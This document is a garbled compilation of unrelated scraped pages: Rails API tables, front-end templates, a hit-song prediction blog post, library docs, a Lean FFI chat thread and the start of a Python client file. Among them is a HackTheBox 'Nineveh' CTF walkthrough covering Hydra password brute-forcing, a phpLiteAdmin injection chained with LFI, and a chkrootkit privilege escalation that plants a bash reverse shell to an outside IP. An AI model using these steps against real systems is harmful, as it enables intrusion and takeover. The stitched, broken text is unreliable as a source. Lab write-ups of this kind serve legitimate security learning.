| #force_clear_transaction_record_state | Force to clear the transaction record state. |
| #remember_transaction_record_state | Save the new record state and id of a record so it can be restored later if a transaction fails. |
| #restore_transaction_record_state | Restore the new record state and id of a record that was previously saved by a call to save_record_state. |
| #set_transaction_state, | |
| #sync_with_transaction_state | Updates the attributes on this particular Active Record object so that if it's associated with a transaction, then the state of the Active Record object will be updated to reflect the current state of the transaction. |
| #transaction_include_any_action? | Determine if a transaction included an action for :create, :update, or :destroy. |
| #transaction_record_state | Determine if a record was created or destroyed in a transaction. |
| #update_attributes_from_transaction_state, #before_committed!, | |
| #committed! | Call the |
| #destroy, | |
| #rolledback! | Call the |
| #save, #save!, #touch |
| #_destroy | Returns |
| #allow_destroy?, | |
| #assign_nested_attributes_for_collection_association | Assigns the given attributes to the collection association. |
| #assign_nested_attributes_for_one_to_one_association | Assigns the given attributes to the association. |
| #assign_to_or_mark_for_destruction | Updates a record with the |
| #call_reject_if | Determines if a record with the particular |
| #check_record_limit! | Takes in a limit and checks if the attributes_collection has too many records. |
| #has_destroy_flag? | Determines if a hash contains a truthy _destroy key. |
| #raise_nested_attributes_record_not_found!, | |
| #reject_new_record? | Determines if a new record should be rejected by checking has_destroy_flag?
or if a |
| #will_be_destroyed? | Only take into account the destroy flag if |
| #mark_for_destruction | Marks this record to be destroyed as part of the parent's save transaction. |
| #reload | Reloads the attributes of the object as usual and clears
|
| #_ensure_no_duplicate_errors, | |
| #associated_records_to_validate_or_save | Returns the record for an association collection that should be validated or saved. |
| #association_valid? | Returns whether or not the association is valid and applies any errors to
the parent, |
| #before_save_collection_association | Is used as a before_save callback to check while saving a collection association whether or not the parent was a new record before saving. |
| #normalize_reflection_attribute, | |
| #record_changed? | If the record is new or it has changed, returns true. |
| #save_belongs_to_association | Saves the associated record if it's new or |
| #save_collection_association | Saves any new associated records, or all loaded autosave associations if
|
| #save_has_one_association | Saves the associated record if it's new or |
| #validate_collection_association | Validate the associated records if |
| #validate_single_association | Validate the association if |
| #association | Returns the association instance for the given name, instantiating it if it doesn't already exist. |
| #association_cached? | :nodoc. |
| #initialize_dup, #reload, | |
| #association_instance_get | Returns the specified association instance if it exists, |
| #association_instance_set | Set the specified association instance. |
| #clear_association_cache | Clears out the association cache. |
| #init_internals |
| #changed | Returns an array with the name of the attributes with unsaved changes. |
| #changed_attributes | Returns a hash of the attributes with unsaved changes indicating their
original values like |
| #changes | Returns a hash of changed attributes indicating their original and new
values like |
| #previous_changes | Returns a hash of attributes that were changed before the model was saved. |
| #restore_attributes | Restore all previous data of the provided attributes. |
| #attribute_change | Handles |
| #attribute_changed_by_setter? | Alias for ActiveModel::Dirty#changes_include?. |
| #attribute_previous_change | Handles |
| #attribute_will_change! | Handles |
| #changes_applied | Removes current changes and makes them accessible through
|
| #changes_include? | Returns |
| #clear_attribute_changes | Remove changes information for the provided attributes. |
| #clear_changes_information | Clears all dirty data: current changes and previous changes. |
| #previous_changes_include? | Returns |
| #restore_attribute! | Handles |
| #set_attribute_was | Force an attribute to have a particular "before" value. |
| #attribute_changed? | Handles |
| #attribute_previously_changed? | Handles |
| #attribute_was | Handles |
| #attributes_changed_by_setter | Alias for ActiveModel::Dirty#changed_attributes. |
| #id_before_type_cast | Returns the primary key value before type cast. |
| #id_in_database, | |
| #id_was | Returns the primary key previous value. |
| #to_key | Returns this record's primary key value wrapped in an array if one is available. |
| #attribute_method? |
| #query_attribute, | |
| #attribute? | Handle *? for method_missing. |
| #attributes_before_type_cast | Returns a hash of attributes before typecasting and deserialization. |
| #read_attribute_before_type_cast | Returns the value of the attribute identified by |
| #attribute_before_type_cast | Handle *_before_type_cast for method_missing. |
| #attribute_came_from_user? |
| #write_attribute | Updates the attribute identified by |
| #attribute= | Handle *= for method_missing. |
| #write_attribute_with_type_cast, #raw_write_attribute |
| #read_attribute | Returns the value of the attribute identified by |
| #attribute | Alias for AttributeMethods::Read#_read_attribute. |
| #_read_attribute | See additional method definition at line 66. |
| #[] | Returns the value of the attribute identified by |
| #[]= | Updates the attribute identified by |
| #accessed_fields | Returns the name of all database fields which have been read from this model. |
| #attribute_for_inspect | Returns an |
| #attribute_names | Returns an array of names for the attributes available on this object. |
| #attribute_present? | Returns |
| #attributes | Returns a hash of all the attributes with their names as keys and the values of the attributes as values. |
| #has_attribute? | Returns |
| #respond_to? | A Person object with a name attribute can ask
|
| #arel_attributes_with_values | Returns a ::Hash of the |
| #arel_attributes_with_values_for_create, #arel_attributes_with_values_for_update, | |
| #attributes_for_create | Filters out the primary keys, from the attribute names, when the primary key is to be generated (e.g. |
| #attributes_for_update | Filters the primary keys and readonly attributes from the attribute names. |
| #pk_attribute?, #readonly_attribute?, #typecasted_attribute_value, #attribute_method? |
| #attribute_missing |
|
| #method_missing | Allows access to the object attributes, which are held in the hash returned
by |
| #respond_to?, | |
| #respond_to_without_attributes? | A |
| #attribute_method?, | |
| #matched_attribute_method | Returns a struct representing the matching attribute method. |
| #missing_attribute |
| #run_validations! | Overwrite run validations to include callbacks. |
| #lock! | Obtain a row lock on this record. |
| #with_lock | Wraps the passed block in a transaction, locking the object before yielding. |
| #save | The validation process on save can be skipped by passing |
| #save! | Attempts to save the record just like |
| #valid? | Runs all the validations within the specified context. |
| #validate | Alias for Validations#valid?. |
| #default_validation_context, #perform_validations, #raise_validation_error |
| #validates_absence_of | Validates that the specified attributes are blank (as defined by Object#blank?). |
| #validates_acceptance_of | Encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). |
| #validates_confirmation_of | Encapsulates the pattern of wanting to validate a password or email address field with a confirmation. |
| #validates_exclusion_of | Validates that the value of the specified attribute is not in a particular enumerable object. |
| #validates_format_of | Validates whether the value of the specified attribute is of the correct form, going by the regular expression provided. |
| #validates_inclusion_of | Validates whether the value of the specified attribute is available in a particular enumerable object. |
| #validates_length_of | Validates that the specified attributes match the length restrictions supplied. |
| #validates_numericality_of | Validates whether the value of the specified attribute is numeric by trying
to convert it to a float with |
| #validates_presence_of | Validates that the specified attributes are not blank (as defined by Object#blank?). |
| #validates_size_of | |
| #_merge_attributes |
| #errors | Returns the |
| #invalid? | Performs the opposite of |
| #read_attribute_for_validation | Hook method defining how an attribute value should be retrieved. |
| #valid? | Runs all the specified validations and returns |
| #validate | Alias for ActiveModel::Validations#valid?. |
| #validate! | Runs all the validations within the specified context. |
| #validates_with | Passes the record off to the class or classes specified and allows them to add errors based on more complex conditions. |
| #raise_validation_error, #run_validations!, | |
| #initialize_dup | Clean the |
| #cache_key | Returns a cache key that can be used to identify this record. |
| #to_param | Returns a ::String, which Action Pack uses for constructing a URL to this object. |
| #to_key | Returns an ::Array of all key attributes if any of the attributes is set, whether or not the object is persisted. |
| #to_model | If your object is already designed to implement all of the Active Model you
can use the default |
| #to_param | Returns a |
| #to_partial_path | Returns a |
| #_assign_attributes, | |
| #assign_multiparameter_attributes | Instantiates objects for all attribute classes that needs more than one constructor parameter. |
| #assign_nested_parameter_attributes | Assign any deferred nested attributes after the base attributes have been set. |
| #execute_callstack_for_multiparameter_attributes, #extract_callstack_for_multiparameter_attributes, #find_parameter_position, #type_cast_attribute_value |
| #assign_attributes | Allows you to set all the attributes by passing in a hash of attributes with keys matching the attribute names. |
| #_assign_attribute, #_assign_attributes |
| #initialize_dup, | |
| #ensure_proper_type | Sets the attribute used for single table inheritance to this class name if this is not the Base descendant. |
| #initialize_internals_callback |
| #becomes | Returns an instance of the specified |
| #becomes! | Wrapper around |
| #decrement | Initializes |
| #decrement! | Wrapper around |
| #delete | Deletes the record in the database and freezes this instance to reflect that no changes should be made (since they can't be persisted). |
| #destroy | Deletes the record in the database and freezes this instance to reflect that no changes should be made (since they can't be persisted). |
| #destroy! | Deletes the record in the database and freezes this instance to reflect that no changes should be made (since they can't be persisted). |
| #increment | Initializes |
| #increment! | Wrapper around |
| #reload | Reloads the record from the database. |
| #save | Saves the model. |
| #save! | Saves the model. |
| #toggle | Assigns to |
| #toggle! | Wrapper around |
| #touch | Saves the record with the updated_at/on attributes set to the current time or the time specified. |
| #update | Updates the attributes of the model from the passed-in hash and saves the record, all wrapped in a transaction. |
| #update! | Updates its receiver just like |
| #update_attribute | Updates a single attribute and saves the record. |
| #update_attributes | Alias for Persistence#update. |
| #update_attributes! | Alias for Persistence#update!. |
| #update_column | Equivalent to |
| #update_columns | Updates the attributes directly in the database issuing an UPDATE SQL statement and sets them in the receiver: |
| #_create_record | Creates a record with values matching those of the instance attributes and returns its id. |
| #_raise_readonly_record_error, #_raise_record_not_destroyed, | |
| #_update_record | Updates the associated record with values matching those of the instance attributes. |
| #belongs_to_touch_method, #create_or_update, | |
| #destroy_associations | A hook to be overridden by association modules. |
| #destroy_row, #relation_for_destroy, #verify_readonly_attribute |
| #<=> | Allows sort on objects. |
| #== | Returns true if |
| #clone | Identical to Ruby's clone method. |
| #connection_handler, | |
| #dup | Duped objects have no id assigned and are treated as new records. |
| #encode_with | Populate |
| #eql? | Alias for Core#==. |
| #freeze | Clone and freeze the attributes hash such that associations are still accessible, even on destroyed records, but cloned models will not be frozen. |
| #hash | Delegates to id in order to allow two records of the same type and id to work with something like: |
| #init_with | Initialize an empty model object from |
| #initialize | New objects can be instantiated as either empty (pass no construction parameter) or pre-set with attributes but not yet saved (pass a hash with key names matching the associated table column names). |
| #inspect | Returns the contents of the record as a nicely formatted string. |
| #pretty_print | Takes a PP and prettily prints this record to it, allowing you to get a
nice result from |
| #readonly! | Marks this record as read only. |
| #slice | Returns a hash of the given methods with their names as keys and returned values as values. |
| #init_internals, #initialize_internals_callback, #thaw, | |
| #to_ary |
|
| #initialize_dup |
This class handles dynamic methods through the method_missing method in the class ActiveModel::AttributeMethods
Boolean
(readonly)
25 26 27
# File 'activerecord/lib/active_record/internal_metadata.rb', line 25
def table_exists? connection.table_exists?(table_name) end
21 22 23
# File 'activerecord/lib/active_record/internal_metadata.rb', line 21
def [](key) where(key: key).pluck(:value).first end
17 18 19
# File 'activerecord/lib/active_record/internal_metadata.rb', line 17
def []=(key, value) find_or_initialize_by(key: key).update_attributes!(value: value) end
Creates an internal metadata table with columns key
and value
30 31 32 33 34 35 36 37 38 39 40
# File 'activerecord/lib/active_record/internal_metadata.rb', line 30
def create_table unless table_exists? = connection. connection.create_table(table_name, id: false) do |t| t.string :key, t.string :value t. end end end
9 10 11
# File 'activerecord/lib/active_record/internal_metadata.rb', line 9
def primary_key "key" end
13 14 15
# File 'activerecord/lib/active_record/internal_metadata.rb', line 13
def table_name "#{table_name_prefix}#{ActiveRecord::Base.}#{table_name_suffix}" end


Dashboard
Jogs By Month
{{data.month}} - {{data.count}}
Last 10 Jogs -
Distance &
Time
{{run.date | date}}
{{run.time | number}} Minutes
{{run.distance}} Miles
Pace
{{minPace | number:2}}
{{maxPace | number:2}}
Total Jogs ({{total}}) - Split by Days
Monday
{{monday}}
Tuesday
{{tuesday}}
Wednesday
{{wednesday}}
Thursday
{{thursday}}
Friday
{{friday}}
Saturday
{{saturday}}
Sunday
{{sunday}}


Snipit
I made this with @polyp, @thebritican, and Matt Prosser for our databases final project at Case. Users can take youtube videos and trim them to 5 second videos. The videos can then be posted on facebook walls, or browsed on Snipit where they are served. One day I will pay to host this.


{% extends 'base.html' %} {% block title %}Home{% endblock title %} {% block content %}
Job postings app built with Django.
View All Jobs


Being able to predict whether a song can be a hit has important applications in the music industry. Knowing such information could help the musician to evaluate their work before publication, or maybe assist the company to decide their commercial strategy.
The popularity of a song can be greatly affected by external factors such as social and commercial influences. To which degree audio features computed from musical signals can predict song popularity is an interesting research question on its own
The Power of Deep
In this work, we tackle the question of audio-based hit song prediction with both traditional machine learning methods and several more advanced deep learning model. Moreover, we use the Mandarin and Western datasets of KKBOX to evaluate the models, in which we found some interesting results.
Specifically, we experiment with a convolutional neural network model that takes the primitive mel-spectrogram as the input for feature learning, a more advanced JYnet model that uses an external song dataset for supervised pre-training and auto-tagging, and the combination of these two models.
We also consider the inception model to characterize audio information in different scales. Our experiments suggest that deep structures are indeed more accurate than shallow structures in predicting the popularity of either Chinese or Western Pop songs in Taiwan.
Dataset
Thanks to KKBOX Inc., we obtain a subset of user listening records contributed by Taiwanese listeners over a time horizon of one year, from Oct. 2012 to Sep. 2013, involving the playcounts of close to 30K users for around 125K songs.
The scale and the time span of the dataset are deemed appropriate for this study. Unlike previous work on musical trend analysis that may involve more than ten years’ worth of data, for the purpose of our work we want to avoid changes in public music tastes and therefore it is better to use listening records collected within a year. We define the hit score of a song according to the multiplication of its playcount in log scale and the number of users (also in log scale) who have listened to the song. We opt for not using the playcounts only to measure song popularity because it is possible that the playcount of a song is contributed by only a very small number of users.
To make our experimental results on the two subsets comparable, we sample the same amount of 10K songs in our experiment for both subsets. These songs are those with the highest playcounts within the subset.
Tech Time! The Methods
We formulate hit song prediction as a regression problem and train either shallow or deep neural network models for predicting the hit scores. Let's skip the details of the traditional methods(Linear Regression and CNN), and head straight to our main dish: inception CNN, and the hybrid joint training network.
The audio version of Inception CNN:
The idea of inception was introduced in GoogLeNet for visual problems. It uses multi-scale kernels to learn features. Since we use the mel-spectrograms directly as the input, which is a 128 by 646 matrix. We make an audio version of it by adding two more parallel early convolutional layers with different sizes: 132-by-8 and 140-by-16, as illustrated in (M3) of the structure figure below. To combine the output of these three kernels by concatenation, the input mel-spectrogram needs to be zero-padded.
The hybrid joint training network:
We also try to combine the deep models with JYnet(M4), an advanced auto-tagging system to exploit information in both the mel-spectrograms and tags, leading to (M6) in the structure figure below. Instead of simply combining the results of the two models, we add another layer on top of them for joint training. However, we only update the parameters of its LR part, as JYnet is treated as an external, pre-trained model in our implementation.
Boom! The results
In order to evaluate the performance of the experiments thoroughly, we apply four evaluation metrics includes recall, NDCG, and some ranking correlation coefficient. However, in this blog post, let me just give you a big picture of the model's capability by simply look into the recall.
Mandarin dataset recall@100:
Random guess: 0.10 Traditional Linear Regression: 0.19 Inception CNN: 0.25 Hybrid joint training: 0.30
What does it mean?
It means that given 1K randomly selected Mandarin songs in the dataset, if you ask our hybrid model to list out the top100 hits, it can get 30 correct prediction.
Li-Chia Yang, Szu-Yu Chou, Jen-Yu Liu, Yi-Hsuan Yang, Yi-An Chen, “Revisiting the problem of audio-based hit song prediction using convolutional neural networks”, Proc. 42nd International Conference on Acoustics, Speech and Signal Processing (ICASSP), New Orleans, USA, March. 2017, accepted.


Urban Mobility India 2018
2
nd
- 4
th
November, Nagpur
Let's do it!
You
did
it!
You
did
it!
You
did
it!
You
did
it!
You
did
it!
0
0
0
0
0
add
play_circle_outline
1
play_circle_outline
2
play_circle_outline
3
play_circle_outline
4
play_circle_outline
5
strikethrough_s
account_circle
filter_vintage
clear
clear
clear
clear
clear


Some QGIS XML files from the Finns det Öppna Data i Sverige? (can one find open data in Sweden) blog post by Klas Karlsson that have layer names translated to English:


For this project I added a web page that had two different animations. In order to create this project I learned how to embed a javascript file from P5 into my html website. From this project I was able to explore P5 and through doing so learn more about Javascript in general. I also began experimenting with some of the add ons for P5 like their 3d canvas. As of now I am working on adding a 3rd animation to my current web page that is in 3d. I think I want to continue working in P5 and experimenting with some of the libraries they have available to use. I also had been interested in working with building a 3d printer as my next project in programming.


Nineveh
- Linux
- Medium
Recon
- Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
─❯ sudo nmap -p- -T5 -Pn -sV -sC $target -v Nmap scan report for <IP_ADDRESS> Host is up (0.045s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR | Issuer: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2017-07-01T15:03:30 | Not valid after: 2018-07-01T15:03:30 | MD5: d182 94b8 0210 7992 bf01 e802 b26f 8639 |_SHA-1: 2275 b03e 27bd 1226 fdaa 8b0f 6de9 84f0 113b 42c0 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1
HTTP
- We find in the nmap output that ssl cert belongs to
commonName=nineveh.htb
so we add it to our/etc/hosts
Port 80
-
Fuzzing the site we find a
department
directory with alogin.php
page:- In the src of the webpage we find the following comment, we can try to bruteforce creds after:
1
<!-- @admin! MySQL is been installed.. please fix the login page! ~amrois -->
Port 443
-
Fuzzing the website on 443 find some directories
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
ffuf -v -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://nineveh.htb/FUZZ -v -c -t 100 ... [Status: 301, Size: 309, Words: 20, Lines: 10] | URL | https://nineveh.htb/db | --> | https://nineveh.htb/db/ * FUZZ: db [Status: 200, Size: 49, Words: 3, Lines: 2] | URL | https://nineveh.htb/ * FUZZ: [Status: 403, Size: 300, Words: 22, Lines: 12] | URL | https://nineveh.htb/server-status * FUZZ: server-status [Status: 301, Size: 319, Words: 20, Lines: 10] | URL | https://nineveh.htb/secure_notes | --> | https://nineveh.htb/secure_notes/ * FUZZ: secure_notes ...
-
On the /db/ directory we find the following
- phpLiteAdmin
- Version 1.9
-
In /secure_notes/ we find an image.
-
Download the image and check its metadata:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
╰─❯ exiftool nineveh.png ExifTool Version Number : 12.16 File Name : nineveh.png Directory : . File Size : 2.8 MiB File Modification Date/Time : 2017:07:03 01:50:02+02:00 File Access Date/Time : 2021:02:18 17:47:55+01:00 File Inode Change Date/Time : 2021:02:18 17:47:50+01:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 1497 Image Height : 746 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Significant Bits : 8 8 8 Software : Shutter Warning : [minor] Trailer data after PNG IEND chunk Image Size : 1497x746 Megapixels : 1.1
-
We see a Warning which told us that there is a trailer data. We extract it with
binwalk
1 2 3 4 5 6
╰─❯ binwalk nineveh.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1497 x 746, 8-bit/color RGB, non-interlaced 84 0x54 Zlib compressed data, best compression 2881744 0x2BF8D0 POSIX tar archive (GNU)
-
Examining the files
That is a private ssh key, but port 22 in the machine is not open so we keep it for now.
-
Shell as www-data
- We try to brute the admin creds with Hydra on the port 80 login.php file
1 2 3 4 5 6 |
|
-
Then we log and get redirected to
http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt
-
After tampering a bit, we find there is a LFI in
notes
parameter: -
But we need to upload a PHP file for example, to get a shell with the LFI as there is no SSH port.
-
-
Coming back into the phpLiteAdmin application, we also bruteforce creds with Hydra finding the password is
password123
1 2 3 4 5 6
╰─❯ hydra nineveh.htb -l user -P /usr/share/seclists/Passwords/probable-v2-top12000.txt https-post-form "/db/index.php:password=^PASS^&proc_login=true:Incorrect password" ... [DATA] attacking http-post-forms://nineveh.htb:443/db/index.php:password=^PASS^&proc_login=true:Incorrect password [443][http-post-form] host: nineveh.htb login: user password: password123 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-02-18 18:37:37
-
Now that we have access to phpLiteAdmin, and we confirmed before the version is 1.9, we can find a reliable exploit for this. To exploit it we do the following:
- Create a new database called test.php
- Create a table into the database called SHELL
- Insert PHP code into this table
-
After doing that, we just need to use the LFI found before to call our php file that will execute commands. So we will URL encode a reverse shell in the request.
-
Privesc
-
After transfering the typical enumeration scripts and so, we use Pspy to inspect processes executing in the machine. And we find Root user is using
chkrootkit
:-
We find an exploit for this program abusing a non quoted execution.
-
Just need to create a file in
/tmp/
calledupdate
that will be executed.1
echo "/bin/bash -c 'bash -i >& /dev/tcp/<IP_ADDRESS>/5555 0>&1' &" > /tmp/update
-
Wait for the user root to execute
chkrootkit
and we are done.
-


netket.graph.Hypercube¶
-
class
netket.graph.
Hypercube
¶ A hypercube lattice of side L in d dimensions. Periodic boundary conditions can also be imposed.
-
__init__
(*args, **kwargs)¶ Overloaded function.
__init__(self: netket._C_netket.graph.Hypercube, length: int, n_dim: int = 1, pbc: bool = True) -> None
Constructs a new
Hypercube
given its side length and dimension.- Args:
- length: Side length of the hypercube.
It must always be >=1, but if
pbc==True
then the minimal valid length is 3.
n_dim: Dimension of the hypercube. It must be at least 1. pbc: If
True
then the constructed hypercubewill have periodic boundary conditions, otherwise open boundary conditions are imposed.
- Examples:
A 10x10 square lattice with periodic boundary conditions can be constructed as follows:
>>> import netket >>> g=netket.graph.Hypercube(length=10,n_dim=2,pbc=True) >>> print(g.n_sites) 100
__init__(self: netket._C_netket.graph.Hypercube, length: int, colors: iterable) -> None
Constructs a new Hypercube given its side length and edge coloring.
- Args:
- length: Side length of the hypercube.
It must always be >=3 if the hypercube has periodic boundary conditions and >=1 otherwise.
- colors: Edge colors, must be an iterable of
Tuple[int, int, int] where each element (i, j, c) represents an edge `i <-> j of color c. Colors must be assigned to all edges.
Methods
__init__
(*args, **kwargs)Overloaded function.
Attributes
The adjacency list of the graph where each node is represented by an integer in [0, n_sites).
The automorphisms of the graph, including translation symmetries only.
The distances between the nodes.
The graph edges.
Whether the graph is bipartite.
Whether the graph is connected.
The number of vertices in the graph.
-
property
adjacency_list
¶ The adjacency list of the graph where each node is represented by an integer in [0, n_sites).
- Type
list
-
property
automorphisms
¶ The automorphisms of the graph, including translation symmetries only.
- Type
list[list]
-
property
distances
¶ The distances between the nodes. The fact that some node may not be reachable from another is represented by -1.
- Type
list[list]
-
property
edges
¶ The graph edges.
- Type
list
-
property
is_bipartite
¶ Whether the graph is bipartite.
- Type
bool
-
property
is_connected
¶ Whether the graph is connected.
- Type
bool
-
property
n_sites
¶ The number of vertices in the graph.
- Type
int
-


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/foreign.20function.20interface.html ---
Hey -- I'm working out how to add a foreign function interface to Lean's VM so that Lean code can call into libraries written in C/C++. Ideas and feedback on how to achieve this are welcome. I've started a branch at https://github.com/agentultra/lean/tree/feature/vm-dynload for adding the low-level plumbing.
You should coordinate with @Simon Hudon, who has also been working on FFI in the leanprover-community fork
assuming you aren't already working on the same project as Simon's been discussing
@Mario Carneiro I am working with him on it... he has convinced me to get involved with Lean. :)
First, I would want to see what's the minimum implementation that is fully expressive
What I'm thinking is that you could load a .so
file with
run_cmd load_external "file.so" "init_function" "finalize_function"
and then add bindings with:
@[ffi "file.so" "int c_add (int,int)"] constant external_add_fn : c_int -> c_int -> c_int
And I'm thinking of accumulating .so
objects in the `environment object
how can you call a function using a string description like that?
in the c++
We may need some way of telling the Lean code how to call the function. I was thinking we'd try using the dlopen
/dlsym
API
How does it work?
I think you just get a void* function pointer
Well... it's all void *
pointers
I don't know if it's possible to dynamically call a function with a runtime known type
Right, as far as the .so
file is concerned, only the function name matters. The rest of the string is to help us validate and marshal data
but how can we adhere to C calling convention with a number of arguments only known at runtime
You load the so
file, you get a void *
, you cast it in the right type to do the call (or, in our case, into a type fn_name(...)
function I assume) and then you call
We're going to need to manipulate the call stack to some extent
I think so too.
https://sourceware.org/libffi/ ?
That would make things nice and easy.
Sounds like a nice tool
Thanks @Mario Carneiro!
See also the manual http://www.chiark.greenend.org.uk/doc/libffi-dev/html/, which was surprisingly hard to find
You guys are free to work on whatever sounds fun to you. But I cannot help wondering why you work on things that, as far as I can understand, will be completely wiped out by Lean 4. There are so many things that need expert work and will likely be portable to Lean 4. Why don't you work on transfer and parametricity for instance?
I don't know if it's possible to dynamically call a function with a runtime known type
I know there are some experiments in this regard, e.g. https://github.com/stephenrkell/liballocs it essentially parses dwarf debug information and makes the necessary things available to the dynamic loader, but that entails custom compiler etc...
Have you had a look at http://www.chiark.greenend.org.uk/doc/libffi-dev/html/? This looks even better to me
yeah, the thing liballocs gives on top of that is it gives one the ability to query the type of some memory allocation, and so the primitive types are safer i guess, where libffi is i guess an abstraction on top of void *, where the right ffi type corresponds to the c function (if you get it right), which is i believe Mario's complaint above.
Anyhow, the thing i mentioned above is quite an endeavor to build, and rather experimental, but i wanted to point it out none the less.
Thanks!
Looks like we're making good progress. We're able to load the shared object into memory and keep a handle; next we'll start adding libffi support and initializing ffi_cif
from the Lean annotations
I think we might be able to avoid the type annotations that Simon showed
You should be able to derive it from the lean type, i.e. c_int -> c_int -> c_int
I'll give that a try.
@Mario Carneiro Do you have an idea for a Lean declaration that would work?
@[ffi "libfile.so"] constant my_fun : c_int -> c_pointer -> c_void
On the lean side, I think that would be io c_void
but otherwise that seems fine
Better yet, just use unit
instead of defining c_void
(and similarly for other types if they exist)
@Mario Carneiro Good idea, thanks.
@Simon Hudon Do you think c_pointer
should be a constant or should it be defined to be u64 or whatever
also I wonder whether we should allow people to define FFI functions that are not in io
It doesn't really make sense for a unit-returning function to not be io
but a regular function might be pure
I thought io
made sense myself but I think @Simon Hudon had a few insights.
I would make c_pointer
into a constant and I would allow non-io
-returning functions
We can't check whether io
should be required so we just have to trust the writer of the bindings
@James King
Mario Carneiro Do you have an idea for a Lean declaration that would work?
@[ffi "libfile.so"] constant my_fun : c_int -> c_pointer -> c_void
In passing, I was thinking that the ffi
attribute could take a Lean name instead of a file name. That way, if there's any complexity around path resolution, it can be isolated into a single declaration
So...
@[ffi 'main] constant my_fun : c_int -> c_pointer -> c_void
Would be ideal?
what does 'main mean?
also that can probably be just main
since we control the parser there
We have added a function to the environment that loads the foreign object file and stores the handle in a map
I was trying to follow along with @Simon Hudon 's suggestion.
I see. What does that function look like?
are these names associated to some definitions or are they in their own namespace?
https://github.com/agentultra/lean/blob/feature/vm-dynload/src/library/vm/vm_dynload.h
https://github.com/agentultra/lean/blob/feature/vm-dynload/src/library/vm/vm_dynload.cpp#L33
https://github.com/agentultra/lean/blob/feature/vm-dynload/src/library/vm/vm_environment.cpp#L318
The foreign symbol stuff will probably go, but we basically load those objects into a map so we can associate the handle with a "Lean name" as @Simon Hudon says
I'm still pretty new to Lean so forgive my ignorance of the finer points of the language/syntax; it's pretty fun learning about it this way.
What does the lean side of this look like?
I think you're doing a great job btw, I'm just thinking about what the lean user side is
see tests/lean/vm_dynload/ffi.lean
I'm working on changing the bind function to take the argument specs to fill the ffi_cif
struct
Why is bind_foreign_symbol
separate from the @[ffi]
attribute?
is there a reason they wouldn't be 1-1?
I think that's where I'm going to change it so that it uses this attribute part, I'm just not sure where to start to hook into that.
look for uses of register_system_attribute
to add a new system attribute
Will do, thanks.
This branch (the last 3 commits) has a lot in common the ffi feature: https://github.com/leanprover-community/lean/tree/vm_override
feel free to borrow from it. @Edward Ayers did most of it.
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


# Copyright 2019 The Feast Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
import os
import sys
from collections import OrderedDict
from typing import Dict, Union
from typing import List
import grpc
import pandas as pd
import pyarrow as pa
import pyarrow.parquet as pq
from feast.core.CoreService_pb2 import (
GetFeastCoreVersionRequest,
ListFeatureSetsResponse,
ApplyFeatureSetRequest,
ListFeatureSetsRequest,
ApplyFeatureSetResponse,
GetFeatureSetRequest,
GetFeatureSetResponse,
)
from feast.core.CoreService_pb2_grpc import CoreServiceStub
from feast.exceptions import format_grpc_exception
from feast.feature_set import FeatureSet, Entity
from feast.job import Job
from feast.loaders.file import export_dataframe_to_staging_location
from feast.loaders.ingest import ingest_table_to_kafka
from feast.serving.ServingService_pb2 import GetFeastServingInfoResponse
from feast.serving.ServingService_pb2 import (
GetOnlineFeaturesRequest,
GetBatchFeaturesRequest,
GetFeastServingInfoRequest,
GetOnlineFeaturesResponse,
DatasetSource,
DataFormat,
FeatureSetRequest,
FeastServingType,
)
from feast.serving.ServingService_pb2_grpc import ServingServiceStub
_logger = logging.getLogger(__name__)
GRPC_CONNECTION_TIMEOUT_DEFAULT = 3 # type: int
GRPC_CONNECTION_TIMEOUT_APPLY = 600 # type: int
FEAST_SERVING_URL_ENV_KEY = "FEAST_SERVING_URL" # type: str
FEAST_CORE_URL_ENV_KEY = "FEAST_CORE_URL" # type: str
BATCH_FEATURE_REQUEST_WAIT_TIME_SECONDS = 300
CPU_COUNT = os.cpu_count() # type: int
[docs]class Client:
"""
Feast Client: Used for creating, managing, and retrieving features.
"""
def __init__(
self, core_url: str = None, serving_url: str = None, verbose: bool = False
):
"""
The Feast Client should be initialized with at least one service url
Args:
core_url: Feast Core URL. Used to manage features
serving_url: Feast Serving URL. Used to retrieve features
verbose: Enable verbose logging
"""
self._core_url = core_url
self._serving_url = serving_url
self._verbose = verbose
self.__core_channel: grpc.Channel = None
self.__serving_channel: grpc.Channel = None
self._core_service_stub: CoreServiceStub = None
self._serving_service_stub: ServingServiceStub = None
@property
def core_url(self) -> str:
"""
Retrieve Feast Core URL
"""
if self._core_url is not None:
return self._core_url
